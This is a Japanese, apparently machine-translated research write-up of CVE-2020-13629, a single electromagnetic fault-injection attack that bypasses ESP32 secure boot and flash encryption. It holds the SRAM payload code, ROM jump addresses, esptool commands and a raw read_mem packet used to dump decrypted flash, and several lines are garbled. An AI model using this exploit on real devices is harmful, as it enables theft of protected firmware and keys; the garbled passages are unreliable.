セキュアブートとフラッシュ暗号化をバイパスしてESP32をハッキングする（CVE-2020-13629）

Espressif ESP32マイクロシステムの、チップの動作に障害を導入する方法（フォールトインジェクション）によって実行される攻撃に対する耐性について調査を実施しました。私たちは、電磁界によって引き起こされる1つの障害だけで、セキュアブートおよびフラッシュ暗号化メカニズムをバイパスできる脆弱性の発見に徐々に取り組んできました。さらに、攻撃を成功させた後、任意のコードを実行できるだけでなく、復号化されたフラッシュメモリデータも受信しました。 Espressifは、コードCVE-2020-13629でCVEデータベースにこの脆弱性を報告しています。







..。この記事で説明されている攻撃を見るときは、ESP32チップのリビジョン0および1に適用されることに注意してください。新しいESP32 V3は、この攻撃で使用されるUARTブートローダー無効化機能をサポートします。

UARTブートローダー

ESP32では、UARTブートローダーはROMコードで実装されています。これにより、とりわけ、外部フラッシュメモリにプログラムを書き込むことが可能になります。 ROMに格納されたコードとしてUARTブートローダーを実装することは一般的な解決策です。このようなコードは簡単に破損しないため、非常に信頼性があります。この機能が外部フラッシュメモリに保存されているコードに基づいている場合、そのようなメモリが損傷すると、マイクロコンピュータが完全に動作しなくなります。



通常、このような機能へのアクセスは、チップが特別なモード、つまりブートモードでロードされたときに編成されます。このモードの選択は、デバイスを再起動する前に取り付けられたコンタクトジャンパー（またはジャンパー）を使用して実行されます。 ESP32はこれにピンを使用しますG0。



UARTブートローダーは多くの興味深いものをサポートしていますメモリとレジスタの読み取り/書き込み、さらにはSRAMからのプログラムの実行にも使用できる命令。

▍任意のコード実行

UARTローダーは、コマンドを使用した任意のコードのロードと実行をサポートしていload_ramます。ESP32 SDKには、SRAMから実行できるコードをコンパイルするために必要なすべてのツールが含まれています。たとえば、次のコードスニペットは文字列SRAM CODE\nをシリアルインターフェイスに出力します。

void __attribute__((noreturn)) call_start_cpu0()
{
    ets_printf("SRAM CODE\n");
    while (1);
}

esptool.pyESP32 SDKの一部である ツールを使用して、コンパイルされたバイナリをSRAMにロードできます。次に、これらのファイルを実行できます。

esptool.py --chip esp32 --no-stub --port COM3 load_ram code.bin

興味深いことに、UARTブートローダーを無効にすることはできません。したがって、セキュアブートとフラッシュ暗号化が有効になっている場合でも、常にアクセスできます。

▍追加のセキュリティ対策

明らかに、追加のセキュリティ対策が講じられない限り、UARTブートローダーの常時可用性により、フラッシュメモリのセキュアブートおよび暗号化メカニズムは実質的に役に立たなくなります。したがって、Espressifは、eFuseテクノロジーに基づく追加のセキュリティメカニズムを実装しています。



これらは、セキュリティパラメータを構成するために使用されるビットであり、OTPメモリ（ワンタイムプログラマブルメモリ）と呼ばれることが多い特別なメモリに格納されます。このようなメモリ内のビットは、0から1にのみ変更できますが、反対方向には変更できません。これにより、機能を有効にするビットが設定されている場合、その機能が再度クリアされることはありません。ESP32がUARTブートローダーモードで動作している場合、OTPメモリの次のビットを使用して特定の機能を無効にします。

• DISABLE_DL_ENCRYPT: -.
• DISABLE_DL_DECRYPT: -.
• DISABLE_DL_CACHE: MMU- -.

DISABLE_DL_DECRYPTフラッシュメモリに保存されているデータの透過的な復号化を無効にする ため、OTPメモリビットに最も関心があります。



このビットが設定されていない場合、UARTブートローダーを使用してマイクロコンピューターをロードするときに、フラッシュメモリに格納されているデータへの簡単なアクセスを整理し、通常のテキストと同じように操作できます。



このビットが設定されている場合、UARTブートローダーを使用したブートモードでは、暗号化されたデータのみをメモリから読み取ることができます。ハードウェアに完全に実装され、プロセッサに対して透過的なフラッシュ暗号化機能は、ESP32が通常モードで起動した場合にのみ有効になります。



ここで説明している攻撃を実行するとき、これらのビットはすべて1に設定されます。

デバイスのホットリセット後もSRAMデータが持続する

ESP32マイクロプロセッサで使用されるSRAMは非常に一般的です。同じことが多くのチップで使用されています。これは通常ROMと組み合わせて使用​​され、フラッシュメモリから最初のブートローダーを起動する役割を果たします。このようなメモリは、使用する前に何も設定する必要がないため、ロードの初期段階で使用すると便利です。



以前の調査の経験によると、SRAMに保存されているデータは、上書きされるか、メモリセルに電力が供給されなくなるまで変更されません。チップのコールドリセット（つまり、電源のオン/オフサイクル）の後、SRAMの内容はデフォルトの状態にリセットされます。このようなメモリの各チップは、値0および1に設定されたビットの一意の（セミランダムと言うこともある）状態によって区別されます。



ただし、ホットリブート後、電源を切らずにチップをリブートすると、SRAMに保存されているデータがそのまま残る場合があります。これを次の図に示します。





コールドリブート（上）とホットリブート（下）がSRAMコンテンツに与える影響



上記がESP32に当てはまるかどうかを確認することにしました。ハードウェアウォッチドッグタイマーを使用して、ソフトホットブートを実行できることがわかりました。UARTブートローダーを使用して、チップがブートモードの場合でも、このタイマーを強制的に起動できます。その結果、このメカニズムを使用して、ESP32を通常のブートモードにすることができます。



SRAMにロードされ、UARTブートローダーを使用して実行されたテストコードを使用して、SRAM内のデータは、ウォッチドッグタイマーによって開始されたホットリセット後も実際に存続することを確認しました。これは、SRAMに必要なものを記録した後、通常どおりESP32を起動できることを意味します。



次に、これをどのように使用できるかについての質問が私たちの前に起こりました。

失敗への道

攻撃のためのホットリブート後にデータがSRAMに保存されるという事実を利用できる可能性があると想定しました。最初の攻撃は、UARTブートローダーを使用してSRAMにコードを記述し、次にウォッチドッグタイマーを使用して、デバイスのホットリブートを実行することでした。次に、通常の起動中にROMコードがそのコードをフラッシュブートローダーコードで上書きするため、実行してクラッシュしました。



以前の実験の過程でデータ転送プロセスをコード実行プロセスに変えた後、このアイデアを思いつきました。次に、ブートローダーがコピーを完了する前に、チップが開始アドレスからコードの実行を開始することに気付きました。



時々、何かを達成するために、あなたはそれを試す必要があります...

▍SRAMにロードされ、攻撃を実行するために使用されるコード

これは、UARTブートローダーを使用してSRAMに書き込んだコードです。

#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h

void __attribute__((noreturn)) call_start_cpu0() {
    uint8_t cmd;

    ets_printf("SRAM CODE\n");

    while (1) {

        cmd = 0;
        uart_rx_one_char(&cmd);

        if(cmd == 'A') {                                    // 1
            *(unsigned int *)(0x3ff4808c) = 0x4001f880;
            *(unsigned int *)(0x3ff48090) = 0x00003a98;
            *(unsigned int *)(0x3ff4808c) = 0xc001f880;
        }
    }

    asm volatile ( d );                                     // 2

    "movi a6, 0x40; slli a6, a6, 24;"                       // 3
    "movi a7, 0x00; slli a7, a7, 16;"
    "xor a6, a6, a7;"
    "movi a7, 0x7c; slli a7, a7, 8;"
    "xor a6, a6, a7;"
    "movi a7, 0xf8;"
    "xor a6, a6, a7;"

    "movi a10, 0x52; callx8  a6;" // R
    "movi a10, 0x61; callx8  a6;" // a            
    "movi a10, 0x65; callx8  a6;" // e               
    "movi a10, 0x6C; callx8  a6;" // l               
    "movi a10, 0x69; callx8  a6;" // i               
    "movi a10, 0x7A; callx8  a6;" // z               
    "movi a10, 0x65; callx8  a6;" // e               
    "movi a10, 0x21; callx8  a6;" // !               
    "movi a10, 0x0a; callx8  a6;" // \n               

    while(1);
}

このコードは、以下を実装します（リスト項目番号はコメントで指定された番号に対応します）。

1. ウォッチドッグタイマーをリセットする単一のコマンドコマンドハンドラー。
2. NOP指示に基づくアナログaddi。
3. シリアルインターフェイスに文字列を出力するアセンブリコードRaelize!。

▍攻撃のタイミングの選択

F次の図に示すように、 比較的小さな攻撃ウィンドウを自由に使用できました。以前の実験から、この時点でブートローダーコードがフラッシュメモリからコピーされていることがわかりました。





攻撃ウィンドウはFで表されます



。SRAMコンテンツがフラッシュメモリからの正しいブートローダーコードによって完全に上書きされる前に、障害が発生する必要があります。

▍攻撃サイクル

各実験では、攻撃のアイデアが機能することを確認するために次の手順を実行しました。障害の整理が成功すると、シリアル回線インターフェイスに出力されるはずRaelize!です。

• ピンをG0ローに設定し、コールドブートを実行してUARTブートローダーモードに入ります。
• コマンドload_ramを使用してSRAMから攻撃コードを実行します。
• プログラムAをホットリブートに送信し、通常のブートモードに戻します。
• ROMからのコードを使用してフラッシュメモリからブートローダーをコピーするプロセスでの障害の編成。

▍結果

この実験を1日以上行い、100万回以上行っても、まだ成功しませんでした。

▍予期しない結果

しかし、私たちが望むことを達成することができなかったという事実にもかかわらず、私たちは実験の結果を分析して、予期しない何かを発見しました。



ある実験では、シリアルインターフェイスは、障害が例外IllegalInstruction（無効な命令）をもたらしたことを示すデータを報告しました。これはそれがどのように見えたかです：

ets Jun  8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0008,len:4
load:0x3fff000c,len:3220
load:0x40078000,len:4816
load:0x40080400,len:18640
entry 0x40080740
Fatal exception (0): IllegalInstruction
epc1=0x661b661b, epc2=0x00000000, epc3=0x00000000, 
excvaddr=0x00000000, depc=0x00000000

チップ障害を引き起こそうとすると、これらの例外が頻繁に発生します。同じことがESP32にも当てはまります。これらの例外のほとんどでは、レジスタはPC期待値に設定されます（つまり、正しいアドレスがそこにあります）。このPCような興味深い意味が現れることはめったにありません。アドレスに正しい命令がないため



、例外がIllegalInstructionスローされます0x661b661b。この値はレジスターのPCどこかから取得する必要があり、それ自体ではそこに表示できないと判断しました。



説明を求めて、SRAMにロードしたコードを分析しました。以下にスニペットを示すバイナリコードを表示することで、質問に対する答えをすばやく見つけることができました。つまり、ここで意味を見つけるのは簡単です0x661b661b..。これは2つの命令addi a6, a6, 1で表され、その助けを借りてアナログがコードに実装されますNOP。

00000000  e9 02 02 10 28 04 08 40  ee 00 00 00 00 00 00 00  |....(..@........|
00000010  00 00 00 00 00 00 00 01  00 00 ff 3f 0c 00 00 00  |...........?....|
00000020  53 52 41 4d 20 43 4f 44  45 0a 00 00 00 04 08 40  |SRAM CODE......@|
00000030  50 09 00 00 00 00 ff 3f  04 04 fe 3f 4d 04 08 40  |P......?...?M..@|
00000040  00 04 fe 3f 8c 80 f4 3f  90 80 f4 3f 98 3a 00 00  |...?...?...?.:..|
00000050  80 f8 01 c0 54 7d 00 40  d0 92 00 40 36 61 00 a1  |....T}.@...@6a..|
00000060  f5 ff 81 fc ff e0 08 00  0c 08 82 41 00 ad 01 81  |...........A....|
00000070  fa ff e0 08 00 82 01 00  4c 19 97 98 1f 81 ef ff  |........L.......|
00000080  91 ee ff 89 09 91 ee ff  89 09 91 f0 ff 81 ee ff  |................|
00000090  99 08 91 ef ff 81 eb ff  99 08 86 f2 ff 5c a9 97  |.............\..|
000000a0  98 c5 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 3e 0c  |...f.f.f.f.f.f>.|
000000b0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
000000c0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
000000d0  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
...
00000330  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
00000340  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|
00000350  1b 66 1b 66 1b 66 1b 66  1b 66 1b 66 1b 66 1b 66  |.f.f.f.f.f.f.f.f|

これらの命令を使用して「小刻みに動く部屋」を用意し、NOP必要になるまでコードの実行を遅らせるために、コマンドのシーケンスがエクスプロイトでよく使用される方法と同様の方法で使用しました。これらの命令がレジスターに格納されるとは予想していませんでしたPC。



しかし、もちろん、私たちはこれを使用することに反対していませんでした。PCフラッシュメモリからのデータがROMコードを使用してコピーされたときに発生したクラッシュ時に、SRAMからレジスタにデータをロードできると判断しました。



セキュアブートとフラッシュ暗号化システムを1回のグリッチでバイパスする攻撃を準備するためのすべての要素が揃ったことにすぐに気付きました。ここでは、前述の攻撃の実行中に得られた経験を使用しましたレジスターの制御を取得できたときPC。

成功への道

この攻撃では、UARTブートローダーを使用して以前にSRAMにロードされたコードのほとんどを使用しました。シリアルインターフェイスに文字を出力するためのコマンドのみがこのコードから削除されました。これは、レジスタPCを必要な値に設定すること、つまりシステムを制御できるようにすることが目標であったためです。

#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h

void __attribute__((noreturn)) call_start_cpu0() {
    uint8_t cmd;
   
    ets_printf("SRAM CODE\n");

    while (1) {

        cmd = 0;
        uart_rx_one_char(&cmd);

        if(cmd == 'A') {
            *(unsigned int *)(0x3ff4808c) = 0x4001f880;
            *(unsigned int *)(0x3ff48090) = 0x00003a98;
            *(unsigned int *)(0x3ff4808c) = 0xc001f880;
        }
    }

    asm volatile ( d );

    while(1);
}

このコードをコンパイルした後、バイナリバージョンで、命令addiをアドレスに置き換えました0x4005a980。このアドレスには、シリアルインターフェイスにデータを出力するROM内の関数があります。この関数の呼び出しが成功すると、攻撃が成功したことがわかります。



以前の実験で例外を引き起こした原因と一致する障害を処理する準備をしましたIllegalInstruction。しばらくして、PC指定されたアドレスをレジスタにロードするためのいくつかの実験が正常に完了したことを発見しました。ケースコントロールは、PC任意のコードを実行できることを意味する可能性が非常に高いです。

▍なぜこれが可能ですか？

このセクションのタイトルには、答えるのが簡単ではない良い質問が含まれています。



残念ながら、明確な答えはありません。確かに、データ操作によってレジスタ制御が可能になるとは思っていませんでしたPC。これについてはいくつかの説明がありますが、それらのいずれかが真実であると完全に確信することはできません。



1つの説明は、障害時に、命令の両方のオペランドがldr値をにロードするために使用されたということa0です。これは、この攻撃で見たものと似ていPCます。この攻撃では、データを変更することでレジスタを間接的に制御できるようになりました。



さらに、ROMに格納されているコードに、この攻撃の成功に寄与する機能が含まれている可能性があります。つまり、障害が発生したために、ROMから正しいコードを実行できます。これにより、SRAMからのデータがレジスタにロードされPCます。



何がこの攻撃を実行できるようになったのかを正確に知るためには、さらに調査を行う必要があります。しかし、チップをハッキングすることを決めた誰かの目を通して問題を見ると、レジスターに影響を与える可能性に基づいてエクスプロイトを作成するのに十分な知識がありますPC。

フラッシュメモリの内容をプレーンテキストとして抽出します

PC必要なものを レジスタに書き込むことはできますが、フラッシュメモリの内容をプレーンテキストとして取得することはまだできません。そのため、UARTブートローダー機能を利用することにしました。



つまり、チップが通常のブートモードのときに、UARTブートローダーに直接移動することにしました。この攻撃を実行するために、addi代わりにUARTブートローダーコードの開始アドレス（0x40007a19）を使用して、RAMにロードされたコードの命令を書き直しました。



UARTブートローダーは、以下に示す行をシリアルインターフェースに出力します。この事実を使用して、攻撃の成功を判断できます。

waiting for download\n"

この実験が成功したら、それesptool.pyを使用してコマンドを実行read_memし、フラッシュメモリ内のプレーンテキストデータにアクセスできます。たとえば、次のコマンドは、外部フラッシュアドレススペース（0x3f400000）から4バイトを読み取ります。

esptool.py --no-stub --before no_reset --after no_reset read_mem 0x3f400000

残念ながら、そのようなコマンドは機能しませんでした。何らかの理由で、プロセッサの応答はのよう0xbad00badに見えました。これは、割り当てられていないメモリからデータを読み取ろうとしていることを示しています。

esptool.py v2.8
Serial port COM8
Connecting....
Detecting chip type... ESP32
Chip is ESP32D0WDQ6 (revision 1)
Crystal is 40MHz
MAC: 24:6f:28:24:75:08
Enabling default SPI flash mode...
0x3f400000 = 0xbad00bad
Staying in bootloader.

UARTブートローダーの開始時にかなり多くの設定が行われていることに気づきました。これらの設定はMMUにも影響を与える可能性があると想定しました。



他のことを試すために、UART（0x40007a4e）ブートローダー自体のコマンドハンドラーに直接移動することにしました。ハンドラーに入ると、独立してコマンドread_memをシリアルインターフェイスに直接送信できます。

target.write(b'\xc0\x00\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x40\x3f\xc0')

残念ながら、ハンドラーに直接移動すると、UARTブートローダーに入った後に表示される行（つまり- waiting for download\n）は表示されません。このため、成功した実験を特定するための簡単で便利な方法が失われます。その結果、成功したかどうかに関係なく、すべての実験で上記のコマンドを送信することにしました。このタイムアウトに関連する追加のタイムアウトを最小限に抑えるために、非常に短いシリアルタイムアウトを使用しました。これは、ほとんどの場合に当てはまります。



しばらくして、最初の成功した実験の結果を見ました！

結果

この記事では、ESP32への攻撃について説明しました。この攻撃では、フラッシュメモリのセキュアブートおよび暗号化システムをバイパスし、マイクロプロセッサに1つの障害のみを配置します。さらに、攻撃中に悪用された脆弱性を使用して、暗号化されたフラッシュメモリの内容をプレーンテキストで抽出しました。FIRM



を使用して、この攻撃をステップスルーできます。





攻撃の進行状況



上記の攻撃のさまざまなステップで何が起こるかについて簡単に説明します。

1. アクティブ化（攻撃を実行するためのツールの選択）-ここでは、Riscure InspectorFIコンプレックスが使用されます。
2. 注入（攻撃）-調査中のマイクロコンピューターに対して電磁効果が実行されます。
3. Glitch ( ) — , (, , ).
4. Fault ( ) — , , , . , - .
5. Exploit ( ) — UART , SRAM, . UART PC read_mem.
6. Goal ( ) — - .

興味深いことに、この攻撃の成功は、ESP32の2つの弱点に依存しています。最初の弱点は、UARTブートローダーを無効にできないことです。その結果、いつでも利用できます。 2番目の弱点は、デバイスのホットリセット後のSRAM内のデータの永続性です。これにより、UARTブートローダーを使用してSRAMに任意のデータを入力できます。攻撃について言及して



いる情報レポートで、Espressif社は、新しいバージョンのESP32には、そのような攻撃を不可能にするメカニズムがあると報告しています。



すべての標準的な組み込みシステムは、デバイス破壊攻撃に対して脆弱です。したがって、ESP32マイクロプロセッサがサイドチャネル攻撃に対しても脆弱であることは驚くべきことではありません。このようなチップは、そのような攻撃に耐えるように設計されていません。しかし、重要なことに、これはそのような攻撃がリスクを伴わないことを意味するものではありません。



私たちの調査によると、チップの弱点を利用することで、攻撃や混乱を成功させることができます。オープンソースから学ぶことができるほとんどの攻撃は、チェックのバイパスに主な焦点が当てられている従来のアプローチを使用しています。私たちが説明したような攻撃の報告はあまり見られません。



このような攻撃の可能性については、まだ十分に検討されていないと確信しています。最近まで、ほとんどの研究者はチップの動作を中断する方法（ステップActivate、Inj​​ect、Glitch）のみを研究していましたが、障害後に脆弱なチップを操作する可能性（ステップFault、Exploit、Goal）を考慮して、さらに進んでいます。





2020年までの研究と2020年以降の研究



新しいチップ障害モデルを創造的に使用することで、さまざまな目標を達成するために興味深い脆弱性活用戦略を使用する攻撃方法が増えると確信しています。



この資料で取り上げられているトピックに興味がある場合は、ここ、ここ、ここで、ESP32の研究に特化した他の資料をご覧ください。



この記事で説明したのと同様の方法でデバイスをハッキングすることに実際に遭遇したことがありますか？